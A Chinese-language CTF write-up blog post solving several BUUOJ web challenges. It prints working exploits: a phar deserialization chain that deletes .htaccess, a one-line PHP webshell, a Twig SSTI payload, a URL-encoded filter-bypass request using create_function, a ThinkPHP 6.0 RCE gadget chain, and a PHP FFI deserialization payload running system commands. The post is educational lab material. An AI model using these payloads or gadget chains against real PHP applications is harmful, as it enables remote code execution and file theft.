Profile类中存在一个__call函数, 可以调用admin->open, 那么如果我们能找到某个类的open可以删除文件, 也就是程序默认生成的.htaccess, 就可以 RCE 了, 这个类就是ZipAchrive

https://www.anquanke.com/post/id/95896#h2-4

现在,我们在本地去测试每个类的行为。经过一段时间的测试之后,我发现,ZipArchive->open 方法可以删除目标文件,前提是我们需要将其第二个参数设定为“9”。

为什么要设定为 9 呢?原因在于, ZipArchive->open()的第二个参数是“指定其他选项”。而 9 对应的是 ZipArchive::CREATE | ZipArchive::OVERWRITE。由于 ZipArchive 打算覆盖我们的文件,所以就会先对其进行删除。在此,感谢@pagabuc帮助我们解释了这一参数的具体意义。

那么现在,我们就可以使用 ZipArchive->open()来删除.htaccess 文件。

构造链如下

File -> __destruct -> Profile -> upload_file(不存在) -> __call -> ZipArchive -> open

生成的脚本

<?php
class File{

public $filename;
public $filepath;
public $checker;

}

class Admin{
public $size;
public $checker;
public $file_tmp;
public $filename;
public $upload_dir;
public $content_check;
}

class Profile{
public $username = "/var/www/html/sandbox/2c67ca1eaeadbdc1868d67003072b481/.htaccess";
public $password = "9";
public $admin;
}

$z = new ZipArchive();
$p = new Profile();
$p->admin = $z;
$f = new File();
$f->checker = $p;
unlink("1.phar");

$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
// <?php __HALT_COMPILER();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($f); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();

对于如何绕过 phar 协议的过滤可以看这篇文章 https://blog.zeddyu.info/2019/08/24/SUCTF-2019/#php-filter

zedd 师傅的文章都写的很好

通过 php 伪协议来绕过

php://filter/read=convert.base64-encode/resource=phar://

而这里恰好有一个触发的函数

那么就可以开始了

  1. 生成 webshell, 由于eval无法动态构造, 这里就直接这样了

    <?php
    ($_GET['a'])($_GET['b']);
    ?>

  2. 上传 webshell

  3. 生成我们的 phar 文件并上传

  4. 访问 view.php, 这里需要注意 phar 文件的路径

    http://078e3606-5996-4c33-9dff-00db1aaa228f.node3.buuoj.cn/view.php?filename=eec2d95bc618625503306c10fad5d37d.phar&filepath=php://filter/resource=phar://./sandbox/2c67ca1eaeadbdc1868d67003072b481/eec2d95bc618625503306c10fad5d37d.phar

  5. rce

这道题以为他用的是smarty, 还以为他的这句话是用了waf

测了半天发现不靠谱, 原来这是个twig

上网抄个 payload 就可以直接打了….

具体可以看这里

一篇文章带你理解漏洞之 SSTI 漏洞

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

果然还是要测一测是什么引擎先

[BJDCTF2020]EasySearch

<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')>/script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
Hello,'.$_POST['username'].'
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')>/script>";

}else
{
***
}
***
?>

跑(抄)出来的 md5 是

2020666

后面利用的是 apache 的 ssi 漏洞注入

SSI 注入漏洞总结

flag 在上一层

[BJDCTF2020]EzPHP

<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

  1. 绕过

    preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])

    url 编码即可

  2. 绕过

    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
    $file = $_GET["file"];
    echo "Neeeeee! Good Job!<br>";
    }

    因为正则没有/g, 添加一个%0a就可以绕过了

  3. 绕过

    if($_REQUEST) {
    foreach($_REQUEST as $value) {
    if(preg_match('/[a-zA-Z]/i', $value))
    die('fxck you! I hate English!');
    }
    }

    这里的话是利用 POST 参数来覆盖 GET 参数, 我们知道 POST 和 GET 的参数是分别放在不同的数组的, 但是在$_REQUEST中, 是合并在一起的, 并且优先级如下

    GET<POST

  4. 绕过

    if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

    data 协议, 老考点了

    data://text/plain;data

  5. 绕过

    if ( sha1($shana) === sha1($passwd) && $shana != $passwd )

    记得好像见过 sha1 碰撞的, 暂时找不到了, 这里直接用数组就可以了

    到这一步的 payload 是

    POST /1nD3x.php?file=data:text/plain;base64,%5a%47%56%69%64%56%39%6b%5a%57%4a%31%58%32%46%78%64%57%45%3d&%73%68%61%6e%61[]=&%70%61%73%73%77%64[]=1&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a

    file=1&shana=1&password=1&debu=1

  6. 绕过

    extract($_GET["flag"]);
    if(preg_match('/^[a-z0-9]*$/isD', $code) ||
    preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
    } else {
    include "flag.php";
    $code('', $arg);
    } ?>

    利用前面给的extract赋值变量, 然后利用create_function绕过即可

    这里有很多解决方法, 具体可以看 https://www.gem-love.com/websecurity/770.html

    调的很暴躁

    POST /1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=create_function&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//

    file=1&shana=1&password=1&debu=1&flag=1

[BJDCTF2020]ZJCTF,不过如此

这名字听起来怪怪的

首先是 data 协议和伪协议读源码, 第二步是preg_replace的命令执行, 主要是怎么让正则匹配到

payload 如下

\S*={${getFlag()}}&cmd=system('cat /flag')

\S表示匹配非空白字符, 简单测一下就可以知道 php 会替换某些字符

比如这里的.就被替换了, 就由于有特殊字符就不能用\w, 所以用了\S

[安洵杯 2019]iamthinking

测一下版本, 是tp6.0

掏出 payload 就是打

<?php
namespace think {

use think\model\concern\Attribute;
use think\model\concern\Conversion;
use think\model\concern\RelationShip;


abstract class Model
{
use Conversion;
use RelationShip;
use Attribute;

private $lazySave;
protected $table;
public function __construct($obj)
{
$this->lazySave = true;
$this->table = $obj;
$this->visible = array(array('hu3sky'=>'aaa'));
$this->relation = array("hu3sky"=>'aaa');
$this->data = array("a"=>'cat /flag');
$this->withAttr = array("a"=>"system");
}
}
}

namespace think\model\concern {
trait Conversion
{
protected $visible;
}

trait RelationShip
{
private $relation;
}

trait Attribute
{
private $data;
private $withAttr;
}
}

namespace think\model {
class Pivot extends \think\Model
{
}
}

namespace {
$a = new think\model\Pivot('');
$b = new think\model\Pivot($a);

echo urlencode(serialize($b));
}

后面再具体分析一下 tp 各个版本的 rce 吧

另外注意一下有个地方需要绕过, 参考飘零师傅的 parse-url 函数小记

[CSAWQual 2016]i_got_id

看到perl就猜测是 open 的漏洞了

https://tsublogs.wordpress.com/2016/09/18/606/

具体的分析可以看上面, 不过我测了一下里面的 payload 似乎用不了, 当然我们可以直接读文件

/flag

RCE 的话通过以下的方式, 但是这里不太理解为什么|前要跟个空格才行

cat%20/flag%20|

[RCTF 2019]Nextphp

还是以这道题作为这篇的结尾吧, 挺怀念的

先看 phpinfo

可以看到是7.4版本, 这就很灵性了, 当时最新的 stable 才到 7.3

disable_function 应该都过滤完了, 这里的题意是用 php7.4 的新特性解题

https://stitcher.io/blog/new-in-php-74

这里主要运用的有两个

  1. 预加载

而回到 phpinfo, 搜索一下 preload 会看到

读一下源码

readfile("preload.php");


<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function __serialize(): array {
return $this->data;
}

public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

public function __get ($key) {
return $this->data[$key];
}

public function __set ($key, $value) {
throw new \Exception('No implemented');
}

public function __construct () {
throw new \Exception('No implemented');
}
}

可以看到 run 方法

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

是不是很像我们需要的东西, 有类, 又有执行点, 反序列化可控, 但是由于命令被限制open_basedir, 无法绕过

  1. FFI

https://wiki.php.net/rfc/ffi

直接看 rfc 的文档, 看到 FFI 可以调用 c 的函数, 这就很神奇了, 我们可以调用 c 的 system, 从而执行命令, 先找一下 system 的原型

https://www.tutorialspoint.com/c_standard_library/c_function_system.htm

然后构造 exp

<?php
class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(const char *command);'
];

public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __construct () {
}
}

$a = new A();
echo urlencode(serialize($a));

然后就反序列化再利用即可, payload 如下

a=$a%3dunserialize('C%3A1%3A%22A%22%3A95%3A%7Ba%3A3%3A%7Bs%3A3%3A%22ret%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A9%3A%22FFI%3A%3Acdef%22%3Bs%3A3%3A%22arg%22%3Bs%3A32%3A%22int+system%28const+char+%2Acommand%29%3B%22%3B%7D%7D')->ret;var_dump($a->system("cat%20/flag>b.txt"));

image-20200218223801377

第二篇结束了, 后面尽量刷一些质量更高的题吧


作者: cjm00n
地址: https://cjm00n.top/CTF/buuoj-writeup-2.html
版权声明: 除特别说明外,所有文章均采用 CC BY 4.0 许可协议,转载请先取得同意。

常用脚本 BuuOJ刷题记录

评论